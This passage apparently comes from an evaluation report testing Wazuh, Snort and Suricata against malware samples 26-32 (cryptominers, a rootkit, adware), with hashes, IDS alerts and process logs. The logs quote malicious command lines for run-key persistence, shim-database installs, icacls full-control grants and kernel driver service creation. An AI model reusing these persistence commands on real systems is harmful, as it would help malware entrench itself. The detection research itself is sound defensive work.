activity] [Priority: 3] {TCP} 172.16.2.2:52090 -> 10.100.101.19:3389
```

Suricata Alert:

```
05/29/2020-14:17:58.522757  [**] [1:2029538:2] ET HUNTING EXE Base64 Encoded potential
malware [**] [Classification: Misc activity] [Priority: 3] {TCP} 167.99.154.202:80 ->
172.16.2.2:49973
```

```
05/29/2020-14:18:38.920893  [**] [1:2831048:3] ETPRO POLICY Observed SSL Cert (IP
Lookup - ipify .org) [**] [Classification: Potential Corporate Privacy Violation]
[Priority: 1] {TCP} 50.19.115.217:443 -> 172.16.2.2:50014
```

```
05/29/2020-14:19:16.499697  [**] [1:2001569:15] ET SCAN Behavioral Unusual Port 445
traffic Potential Scan or Infection [**] [Classification: Misc activity] [Priority: 3]
{TCP} 172.16.2.2:51627 -> 10.100.101.69:445
```

```
05/29/2020-14:19:19.961586  [**] [1:2001583:16] ET SCAN Behavioral Unusual Port 1433
traffic Potential Scan or Infection [**] [Classification: Misc activity] [Priority: 3]
{TCP} 172.16.2.2:51854 -> 10.100.101.39:1433
```

7.1.13. ID_26 Cryptominer (Trojan.Glupteba.Qwertyminer)

Table 128. MW_26 properties

ID	26
Name	Trojan.Glupteba.Qwertyminer
Firstsubmission	2020-05-04
Type	Win32 EXE
SHA256	5eb910915a13863b04317d17244c8d68cf9fad949f6ab6e5182861160f099e5f
MD5	d668e0990354d0ae209ec520cb80e052
Virustotal	60/72
Category	Cryptominer
Source	ANY RUN

Results

Wazuh

Table 129. MW_26 Wazuh results

Highest alert level	10
Malware specific alert	No
Malware detected	No

No malware relating alerts

Snort & Suricata

Table 130. MW_26 NIDS results

	Snort	Suricata
Highest alert level	1	1
Malware specific alert	Yes	Yes
Malware detected	Yes	Yes

Snort and suricata dit not only alert for a cryptominer but also for adware (OxyPumper).

Snort Alert:

```
05/30-13:47:05.494249  [**] [1:2833089:4] ETPRO MALWARE Win32/OxyPumper.Adware
Receiving Payload Country Distribution Config [**] [Classification: A Network Trojan
was detected] [Priority: 1] {TCP} 13.90.173.206:80 -> 172.16.2.2:49980
```

```
05/30-13:47:05.405775  [**] [1:2837243:2] ETPRO MALWARE Win32/OxyPumper Adware Related
User-Agent Observed [**] [Classification: A Network Trojan was detected] [Priority: 1]
{TCP} 172.16.2.2:49980 -> 13.90.173.206:80
```

```
05/30-13:47:05.184789  [**] [1:2833087:2] ETPRO TROJAN Win32/QwertMiner Suspicious UA
(jdlnb) [**] [Classification: A Network Trojan was detected] [Priority: 1] {TCP}
172.16.2.2:49979 -> 172.217.16.196:80
```

```
05/30-13:47:05.089239  [**] [1:2022082:1] ET POLICY External IP Lookup ip-api.com [**]
[Classification: Potential Corporate Privacy Violation] [Priority: 1] {TCP}
172.16.2.2:49978 -> 208.95.112.1:80
```

```
05/30-13:47:03.506593  [**] [1:2828706:1] ETPRO POLICY IP Check Domain (iplogger .org
in TLS SNI) [**] [Classification: Potential Corporate Privacy Violation] [Priority: 1]
{TCP} 172.16.2.2:49975 -> 88.99.66.31:443
```

```
05/30-13:47:02.120295  [**] [1:2025106:3] ET INFO DNS Query for Suspicious .ml Domain
[**] [Classification: Potentially Bad Traffic] [Priority: 2] {UDP} 172.16.2.2:56505 ->
172.16.2.1:53
```

```
05/30-13:47:16.661424  [**] [1:2023464:1] ET INFO Possible EXE Download From
Suspicious TLD [**] [Classification: Misc activity] [Priority: 3] {TCP}
172.67.161.111:80 -> 172.16.2.2:49989
```

```
05/30-13:47:16.661424  [**] [1:2014819:1] ET INFO Packed Executable Download [**]
[Classification: Misc activity] [Priority: 3] {TCP} 172.67.161.111:80 ->
172.16.2.2:49989
```

```
05/30-13:47:16.225204  [**] [1:2022550:14] ET TROJAN Possible Malicious Macro DL EXE
Feb 2016 [**] [Classification: A Network Trojan was detected] [Priority: 1] {TCP}
172.16.2.2:49989 -> 172.67.161.111:80
```

```
05/30-13:55:26.542525  [**] [1:2022050:3] ET CURRENT_EVENTS Likely Evil EXE download
from dotted Quad by MSXMLHTTP M1 [**] [Classification: A Network Trojan was detected]
[Priority: 1] {TCP} 217.8.117.132:80 -> 172.16.2.2:49780
```

Suricata Alert:

```
05/30/2020-13:47:05.494643  [**] [1:2837243:2] ETPRO ADWARE_PUP Win32/OxyPumper Adware
Related User-Agent Observed [**] [Classification: Possibly Unwanted Program Detected]
[Priority: 2] {TCP} 172.16.2.2:49980 -> 13.90.173.206:80
```

```
05/30/2020-13:47:05.215555  [**] [1:2837242:2] ETPRO ADWARE_PUP Win32/OxyPumper Adware
Related Header Observed [**] [Classification: Possibly Unwanted Program Detected]
[Priority: 2] {TCP} 172.16.2.2:49979 -> 172.217.16.196:80
```

```
05/30/2020-13:47:05.215555  [**] [1:2833087:2] ETPRO MALWARE Win32/QwertMiner
Suspicious UA (jdlnb) [**] [Classification: A Network Trojan was detected] [Priority:
1] {TCP} 172.16.2.2:49979 -> 172.217.16.196:80
```

```
05/30/2020-13:47:05.102058  [**] [1:2022082:3] ET POLICY External IP Lookup ip-api.com
[**] [Classification: Device Retrieving External IP Address Detected] [Priority: 2]
{TCP} 172.16.2.2:49978 -> 208.95.112.1:80
```

```
05/30/2020-13:47:03.527691  [**] [1:2832295:1] ETPRO POLICY Possible External IP
Lookup SSL Cert Observed (iplogger .com) [**] [Classification: Device Retrieving
External IP Address Detected] [Priority: 2] {TCP} 88.99.66.31:443 -> 172.16.2.2:49975
```

```
05/30/2020-13:47:02.120295  [**] [1:2025106:3] ET INFO DNS Query for Suspicious .ml
Domain [**] [Classification: Potentially Bad Traffic] [Priority: 2] {UDP}
172.16.2.2:56505 -> 172.16.2.1:53
```

```
05/30/2020-13:47:16.677340  [**] [1:2023464:2] ET HUNTING Possible EXE Download From
Suspicious TLD [**] [Classification: Misc activity] [Priority: 3] {TCP}
172.67.161.111:80 -> 172.16.2.2:49989
```

```
05/30/2020-13:47:16.661470  [**] [1:2022896:5] ET HUNTING SUSPICIOUS Firesale gTLD EXE
DL with no Referer June 13 2016 [**] [Classification: A Network Trojan was detected]
[Priority: 1] {TCP} 172.16.2.2:49989 -> 172.67.161.111:80
```

```
05/30/2020-13:47:16.661470  [**] [1:2022550:18] ET MALWARE Possible Malicious Macro DL
EXE Feb 2016 [**] [Classification: A Network Trojan was detected] [Priority: 1] {TCP}
172.16.2.2:49989 -> 172.67.161.111:80
```

```
05/30/2020-13:55:26.653837  [**] [1:2022050:3] ET CURRENT_EVENTS Likely Evil EXE
download from dotted Quad by MSXMLHTTP M1 [**] [Classification: A Network Trojan was
detected] [Priority: 1] {TCP} 217.8.117.132:80 -> 172.16.2.2:49780
```

7.1.14. ID_27 Cryptominer (Miner.Tofsee)

Table 131. MW_27 properties

ID	27
Name	Miner.Tofsee
Firstsubmission	2020-03-12
Type	Win32 EXE
SHA256	3787e0f44b282dfcb0238c072490f8fd36c22fa40b1895dd52abed931e5385d3
MD5	488bfb786944d1b236ac6254eb97dd69
Virustotal	53/73
Category	Cryptominer
Source	ANY RUN

Results

Wazuh

Table 132. MW_27 Wazuh results

Highest alert level	14
Malware specific alert	Yes
Malware detected	Yes

First an alert of a Suspicious RUN key followed by a Suspicious SVChost (indicating process injection)

```
Level: 14
ATT&CK T1060: Suspicious RUN Key from Download
"Registry value set:
RuleName: T1060,RunKey
EventType: SetValue
Image: C:\Users\John Williams\Downloads\Program27.exe
TargetObject: HKU\S-1-5-21-438079597-2123118846-2669748851-
1001\Software\Microsoft\Windows\CurrentVersion\Run\mxyxziig
Details: "C:\Users\John Williams\ccdojkiq.exe""
```

```
Level: 14
ATT&CK T1036: Suspicious Svchost Process
"Process Create:
Image: C:\Windows\SysWOW64\svchost.exe
OriginalFileName: svchost.exe
CommandLine: svchost.ex
ParentImage: C:\Users\John Williams\ccdojkiq.exe
ParentCommandLine: "C:\Users\John Williams\ccdojkiq.exe" /d"C:\Users\John
Williams\Downloads\Program27.exe" /e5503021000000542
```

After reboot:

```
Level: 14
ATT&CK T1036: Suspicious Svchost Process
"Process Create:
Image: C:\Windows\SysWOW64\svchost.exe
OriginalFileName: svchost.exe
CommandLine: svchost.exe
ParentImage: C:\Users\John Williams\ccdojkiq.exe
ParentCommandLine: "C:\Users\John Williams\ccdojkiq.exe" "
```

Snort & Suricata

Table 133. MW_27 NIDS results

	Snort	**Suricata**
Highest alert level	1	1
Malware specific alert	Yes	Yes

	Snort	Suricata
Malware detected	Yes	Yes

Snort Alert:

```
05/30-15:21:17.696236  [**] [1:2024792:4] ET POLICY Cryptocurrency Miner Checkin [**]
[Classification: Potential Corporate Privacy Violation] [Priority: 1] {TCP}
172.16.2.2:50023 -> 83.151.238.37:8080
```

```
05/30-15:21:26.267732  [**] [1:2808012:2] ETPRO TROJAN Win32/Tofsee.AX google.com
connectivity check [**] [Classification: A Network Trojan was detected] [Priority: 1]
{TCP} 172.16.2.2:50052 -> 172.217.22.100:80
```

```
05/30-15:21:43.836141  [**] [1:2025331:3] ET POLICY Possible External IP Lookup Domain
Observed in SNI (ipinfo. io) [**] [Classification: A Network Trojan was detected]
[Priority: 1] {TCP} 172.16.2.2:50061 -> 216.239.38.21:443
```

```
05/30-15:23:35.321386  [**] [1:2838238:2] ETPRO POLICY External IP Lookup (api .rest7
.com) [**] [Classification: Potential Corporate Privacy Violation] [Priority: 1] {TCP}
172.16.2.2:50155 -> 37.28.155.134:80
```

Suricata Alert:

```
05/30/2020-15:21:17.696236  [**] [1:2024792:4] ET POLICY Cryptocurrency Miner Checkin
[**] [Classification: Potential Corporate Privacy Violation] [Priority: 1] {TCP}
172.16.2.2:50023 -> 83.151.238.37:8080
```

```
05/30/2020-15:21:26.196569  [**] [1:2808012:4] ETPRO MALWARE Win32/Tofsee.AX
google.com connectivity check [**] [Classification: A Network Trojan was detected]
[Priority: 1] {TCP} 172.16.2.2:50047 -> 172.217.22.100:80
```

```
05/30/2020-15:21:43.915646  [**] [1:2025330:3] ET POLICY Possible External IP Lookup
SSL Cert Observed (ipinfo.io) [**] [Classification: Device Retrieving External IP
Address Detected] [Priority: 2] {TCP} 216.239.38.21:443 -> 172.16.2.2:50061
```

```
05/30/2020-15:23:36.602663  [**] [1:2838238:2] ETPRO POLICY External IP Lookup (api
.rest7 .com) [**] [Classification: Device Retrieving External IP Address Detected]
[Priority: 2] {TCP} 172.16.2.2:50155 -> 37.28.155.134:80
```

7.1.15. ID_28 Rootkit (Rootkit.Lamberts)

Table 134. MW_28 properties

ID	28
Name	Rootkit.Lamberts
Firstsubmission	2019-08-01
Type	Win32 EXE
SHA256	adf6c75d1265e189036d4b5303feaeecb83f6d60db54c36544c43790cde26ace
MD5	a00918f782ba83aa405614430c65aab6
Virustotal	55/73
Category	Rootkit
Source	Virus Share

Results

Wazuh

Table 135. MW_28 Wazuh results

Highest alert level	14
Malware specific alert	Yes
Malware detected	Yes

```
Level: 14
ATT&CK T1138: Possible Shim Database Persistence via sdbinst.exe
"Process Create:
RuleName:
Image: C:\Windows\SysWOW64\sdbinst.exe
CommandLine: "C:\Windows\System32\sdbinst.exe" /q "C:\Users\John
Williams\AppData\LocalLow\hPb0FP3y.sdb"
CurrentDirectory: C:\Users\John Williams\Downloads\
ParentImage: C:\Users\John Williams\Downloads\Program28.exe
ParentCommandLine: "C:\Users\John Williams\Downloads\Program28.exe" "
```

```
Level: 14
ATT&CK T1138: Possible Shim Database Persistence via sdbinst.exe
"Process Create:
Image: C:\Windows\SysWOW64\sdbinst.exe
CommandLine: "C:\Windows\SysWOW64\sdbinst.exe" /q "C:\Users\John
Williams\AppData\LocalLow\hPb0FP3y.sdb"
CurrentDirectory: C:\Windows\system32\
ParentImage: C:\Users\John Williams\Downloads\Program28.exe
ParentCommandLine: "C:\Users\John Williams\Downloads\Program28.exe" "
```

Snort & Suricata

Table 136. MW_28 NIDS results

	Snort	Suricata
Highest alert level	-	-
Malware specific alert	Yes	Yes
Malware detected	No	No

No alerts were generated

7.1.16. ID_29 Adware (Adware.Mindspark)

Table 137. MW_29 properties

ID	29
Name	Adware.Mindspark
Firstsubmission	2020-03-12
Type	Win32 EXE
SHA256	7e22bfc85e7cbd2ebca4f8f7900067b596cd5a8179acc2f211715ea230c41f0a
MD5	aeb471c20095e7d8557478a518d0fc8c
Virustotal	40/72
Category	Adware
Source	Virus Share

Results

Wazuh

Table 138. MW_29 Wazuh results

Highest alert level	7
Malware specific alert	No

Malware detected	No

No malware relating alert.

NOTE

After some research in the EventViewer it is clear that it executes the following command to install a internet explorer plugin: `\"Rundll32.exe\" \"C:\\Users\\John Williams\\AppData\\Local\\EasyPDFCombineTooltab\\TooltabExtension.dll\",A -hp=https://hp.myway.com/easypdfcombine/s36060/index.html -ua=\"(Windows NT 10.0; Win64; MSIE 11.719; Build 18363; SP 0)\" -ul=https://anx.mindspark.com/anx.gif?anxa=%%251&anxe=%%252&anxt=18B31D9E-532F-45B2-A1AB-3B665FA102DC&anxtv=2.7.1.3000&anxp=BSBmni000^S36060&anxsi=&anxv=%%253&anxd=2020-05-28&anxr=%%254 -hu=SHOW` This can be used to make it detectable in the future.

Snort & Suricata

Table 139. MW_ NIDS results

	Snort	Suricata
Highest alert level	-	-
Malware specific alert	No	No
Malware detected	No	No

No generated alert.

7.1.17. ID_30 Adware (Adware.Sogou)

Table 140. MW_ properties

ID	
Name	Adware.Sogou
Firstsubmission	2020-03-30
Type	Win32 EXE
SHA256	013490159463a92d1f6f5b73618dcd143e3d9948fb82f094440368494db03659
MD5	775307b867b19872f49aaa9fcc7c6800
Virustotal	48/73
Category	Adware
Source	Virus Share

Results

Wazuh

Table 141. MW_30 Wazuh results

Highest alert level	10
Malware specific alert	No
Malware detected	No

There was only one level 10 RUN key alert.

```
Level: 10
ATT&CK T1060: Autorun Keys Modification
"Registry value set:
RuleName: T1060,RunKey
EventType: SetValue
Image: C:\Program Files (x86)\SogouSoftware\tmp\ExternalApp.exe
TargetObject: HKU\S-1-5-21-438079597-2123118846-2669748851-
1001\Software\Microsoft\Windows\CurrentVersion\Run\SogouSoftwareAutoRun
Details: C:\Program Files (x86)\SogouSoftware\SogouSoftware.exe /AutoRun"
```

Snort & Suricata

Table 142. MW_30 NIDS results

	Snort	**Suricata**
Highest alert level	1	1
Malware specific alert	Yes	Yes
Malware detected	Yes	Yes

Both Suricata and Snort generated a alert indicating the Sogou malware among with some other alerts.

Snort Alert:

```
05/31-13:20:54.985752  [**] [1:2008429:10] ET USER_AGENTS Suspicious User-Agent
(HttpDownload) [**] [Classification: A Network Trojan was detected] [Priority: 1]
{TCP} 172.16.2.2:50102 -> 49.51.130.237:80
```

```
05/31-13:24:50.917871  [**] [1:2822075:2] ETPRO MALWARE PUA.Sogou Checkin [**]
[Classification: A Network Trojan was detected] [Priority: 1] {TCP} 172.16.2.2:50257
-> 211.159.235.58:80
```

```
05/31-13:24:44.062505  [**] [1:2014726:120] ET POLICY Outdated Flash Version M1 [**]
[Classification: Potential Corporate Privacy Violation] [Priority: 1] {TCP}
172.16.2.2:50254 -> 113.200.16.208:80
```

Suricata Alert:

```
05/31/2020-13:20:55.292405  [**] [1:2008429:10] ET USER_AGENTS Suspicious User-Agent
(HttpDownload) [**] [Classification: A Network Trojan was detected] [Priority: 1]
{TCP} 172.16.2.2:50102 -> 49.51.130.237:80
```

```
05/31/2020-13:21:18.244101  [**] [1:2822075:3] ETPRO ADWARE_PUP PUA.Sogou Checkin [**]
[Classification: Possibly Unwanted Program Detected] [Priority: 2] {TCP}
172.16.2.2:50114 -> 211.159.235.58:80
```

```
05/31/2020-13:21:26.860932  [**] [1:2822181:6] ETPRO MALWARE Bolek HTTP Checkin [**]
[Classification: Malware Command and Control Activity Detected] [Priority: 1] {TCP}
172.16.2.2:50132 -> 123.125.221.6:80
```

```
05/31/2020-13:24:44.385971  [**] [1:2014726:124] ET POLICY Outdated Flash Version M1
[**] [Classification: Potential Corporate Privacy Violation] [Priority: 1] {TCP}
172.16.2.2:50254 -> 113.200.16.208:80
```

7.1.18. ID_31 Adware (Adware.FusionCore)

Table 143. MW_31 properties

ID	31
Name	Adware.FusionCore
Firstsubmission	2020-04-15
Type	Win32 EXE
SHA256	248dfd79d264aae38e13502609ce771e4ce0be63747d0c1e0c933e2ce0ebe097
MD5	d4ce88978ea01afe4ec930e59f9abf61
Virustotal	20/72
Category	Adware
Source	Virus Share

Results

Wazuh

Table 144. MW_31 Wazuh results

Highest alert level	10
Malware specific alert	Yes
Malware detected	Yes

A couple alerts were generated with a highest level of 10. It is discussable if it is enough to be marked as detected, but because it is Adware, which is not very critical, it will be marked as detected.

```
Level: 8
ATT&CK: Quick Execution of a Series of Suspicious Commands
"Process Create:
Image: C:\Windows\SysWOW64\taskkill.exe
CommandLine: "C:\Windows\System32\taskkill.exe" /F /IM LdBoxSVC.exe /T
ParentImage: C:\ChangZhi\LDPlayer\LDPlayer.exe
ParentCommandLine: "C:\ChangZhi\LDPlayer\\LDPlayer.exe" -silence -downloader
-openid=100 -path="C:\ChangZhi\LDPlayer\""
```

```
Level: 8
ATT&CK T1035: Service Execution
"Process Create:
Image: C:\Windows\SysWOW64\net.exe
ParentImage: C:\ChangZhi\LDPlayer\dnrepairer.exe
ParentCommandLine: "C:\ChangZhi\LDPlayer\dnrepairer.exe" listener=197560"
```

```
Level: 8
ATT&CK T1035: Service Execution
"Process Create:
Image: C:\Windows\SysWOW64\net1.exe
ParentImage: C:\Windows\SysWOW64\net.exe
ParentCommandLine: "net" start cryptsvc"
```

```
Level: 10
ATT&CK T1222: File or Folder Permissions Modifications
CommandLine: "icacls" "C:\ChangZhi\LDPlayer\vms" /grant everyone:F /t
ParentImage: C:\ChangZhi\LDPlayer\dnrepairer.exe
ParentCommandLine: "C:\ChangZhi\LDPlayer\dnrepairer.exe" listener=197560"
```

```
Level: 8
ATT&CK T1050: New Service Creation
"Process Create:
Image: C:\Windows\SysWOW64\sc.exe
CommandLine: "C:\Windows\system32\sc" create LdBoxDrv binPath= "C:\Program
Files\dnplayerext2\LdBoxDrv.sys" type= kernel start= auto
ParentImage: C:\ChangZhi\LDPlayer\dnrepairer.exe
ParentCommandLine: "C:\ChangZhi\LDPlayer\dnrepairer.exe" listener=197560"
```

```
Level: 10
ATT&CK T1060: Autorun Keys Modification
"Registry value set:
EventType: SetValue
Image: C:\ChangZhi\LDPlayer\LDPlayer.exe
TargetObject: HKU\S-1-5-21-438079597-2123118846-2669748851-
1001\Software\Microsoft\Windows\CurrentVersion\Run\LDNews
Details: C:\ChangZhi\LDPlayer\ldnews.exe"
```

Snort & Suricata

Table 145. MW_31 NIDS results

	Snort	**Suricata**
Highest alert level	-	-
Malware specific alert	No	No
Malware detected	No	No

No alerts were generated

7.1.19. ID_32 Adware (Adware.Unruy)

Table 146. MW_32 properties

ID	32
Name	Adware.Unruy
Firstsubmission	2019-09-04
Type	Win32 EXE
SHA256	369ed4c562a09c275e87bd6bed8c93b51b8460eb0cafd506dff8417ffdf5fba7
MD5	3a4c09aba1b399a43a65a27aee9c90e0
Virustotal	55/68
Category	Adware
Source	Virus Share

Results

Wazuh

Table 147. MW_32 Wazuh results

Highest alert level	
Malware specific alert	
Malware detected	

No malware relating alerts.

Snort & Suricata

Table 148. MW_32 NIDS results

	Snort	Suricata
Highest alert level	1	1
Malware specific alert	Yes	Yes
Malware detected	Yes	Yes

Both Suricata and Snort generated alerts indicating the Unruy malware.

Snort Alert:

```
05/31-14:44:53.177467  [**] [1:2833817:3] ETPRO MALWARE Win32/Unruy Rogue Search Host
Observed 1 [**] [Classification: A Network Trojan was detected] [Priority: 1] {TCP}
172.16.2.2:50023 -> 35.186.238.101:80
```

```
05/31-14:45:36.564461  [**] [1:2833818:3] ETPRO MALWARE Win32/Unruy Rogue Search Host
Observed 2 [**] [Classification: A Network Trojan was detected] [Priority: 1] {TCP}
172.16.2.2:50104 -> 35.186.238.101:80
```

Suricata Alert:

```
05/31/2020-14:44:53.277765  [**] [1:2833817:3] ETPRO ADWARE_PUP Win32/Unruy Rogue
Search Host Observed 1 [**] [Classification: Possibly Unwanted Program Detected]
[Priority: 2] {TCP} 172.16.2.2:50023 -> 35.186.238.101:80
```


```
05/31/2020-14:44:53.277765  [**] [1:2833817:3] ETPRO ADWARE_PUP Win32/Unruy Rogue
Search Host Observed 1 [**] [Classification: Possibly Unwanted Program Detected]
[Priority: 2] {TCP} 172.16.2.2:50023 -> 35.186.238.101:80
```